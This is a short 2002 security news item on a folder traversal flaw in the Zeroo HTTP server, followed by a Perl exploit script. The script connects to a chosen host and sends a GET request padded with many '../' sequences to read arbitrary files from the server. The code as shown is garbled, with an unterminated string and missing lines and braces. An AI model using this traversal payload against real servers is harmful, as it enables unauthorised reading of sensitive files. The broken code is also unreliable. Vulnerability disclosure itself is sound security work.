Users login

Create an account »


Users login

Home » Hacking News » Zeroo Folder Traversal Vulnerability

Zeroo Folder Traversal Vulnerability

by Nikola Strahija on November 24th, 2002 According to the vendor's web page ;, Zeroo is a "simple, small, portable, fast HTTP server". The server is available for Windows, and Linux operating systems.

A folder traversal flaw in the server may allow attackers to compromise
sensitive information stored on the server's volume.

use IO::Socket;
$pkt = "GET /../../../../../../../../../../../../../../../../../../../../%s
if (@ARGV < 2 || @ARGV > 3) {
print STDOUT "Usage: perl $0 [filename] [host] [port=80]";
if (@ARGV==3) {
} else {
$f = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$ARGV[1],PeerPort=>$port);
if (!defined($f)) {
$err=sprintf("Cannot connect to %s on port %d",$ARGV[1],$port);
print STDOUT $err;
print $f $pkt;
while (defined($line = <$f>)) {
print STDOUT $line;
undef $f;

Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.


Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »